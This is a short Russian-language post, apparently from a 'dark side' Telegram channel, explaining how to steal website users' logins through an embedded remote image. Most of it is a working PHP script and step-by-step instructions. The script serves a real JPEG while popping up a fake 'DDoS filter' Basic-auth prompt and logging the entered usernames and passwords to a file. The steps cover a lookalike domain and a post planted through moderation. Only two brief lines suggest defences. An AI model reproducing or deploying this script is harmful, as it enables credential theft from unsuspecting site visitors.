Взлом пользователей через картинку.
https://t.me/darkside_team
Правильно люди говорят: «Все новое — это хорошо забытое старое»
Возможность встраивания удалённых ресурсов (например картинок с других сайтов) на страницу своего сайта — очень плохая практика. Которая может в определённый момент привести к довольно серьёзным последствиям для сайта. Еще 10 лет назад, я с удивлением читал о том, что такое возможно. И вот прошло 10 лет, ничего не изменилось, и похоже на то, что это вряд ли когда то изменится.
Теория и практика
1. Хацкер регистрирует себе домен похожий по написанию на атакуемый домен.
2. Загружает на него скрипт c таким содержимым на PHP
<?php if (!isset($_SERVER['PHP_AUTH_USER'])) { $vulnsite = parse_url($_SERVER['REFERER']); //header('Content-Type: text/html; charset=windows-1251'); //header('WWW-Authenticate: Basic realm="'.ucfirst($vulnsite['host']).' DDoS-Filter: Enter your Login and Password"'); //header('HTTP/1.0 401 Unauthorized'); } else { $f = fopen('passes.txt', 'a'); fwrite($f, $_SERVER['PHP_AUTH_USER'].';'.$_SERVER['PHP_AUTH_PW']."\r\n"); fclose($f); } header("Content-type: image/jpeg"); $image = imagecreatefromjpeg('image.jpg'); imagejpeg($image); imagedestroy($image); exit(); //Соответственно в этой же папке лежит нормальная image.jpg //Тут же можно поиграться с расширением скрипта и обозвать его superphoto.jpg . ?>
3. Пишет статью, и встраивает картинку в пост:
<img src="http://exEmple.com/evilimage.php" alt="image"/>
4. Если присутствует модерация на сайте, то отправляет статью на модерацию.
5. К примеру статья получилась у него хорошая и она попадает на главную.
6. Злой человек видит своё детище на главной и убирает комментарии в PHP коде, таким образом в ответ на запрос картинки из поста, у любого пользователя в браузере появляется окно с авторизацией, где может быть написано все что угодно, к примеру что сайт отбивается от ДДос атаки, и просит повторить ввод логина и пароля.
7. Не внимательный пользователь, не вчитывается в название домена в форме авторизации и субмитит логин и пароль.
8. Злой человек получает ваш логин и пароль, его цель достигнута.
Способы защиты
Думаю вменяемых методов может быть два:
- На уровне браузеров: запрет на выдачу окна авторизации от другого сайта
- На уровне разработчиков сайтов: Копирование всех удалённых ресурсов к себе на хостинг
P.S работает не во всех браузерах.
Dark $ide - Твоя Тёмная Сторона
Если хочешь предложить свой контент пиши в бота: @ds_offer_robot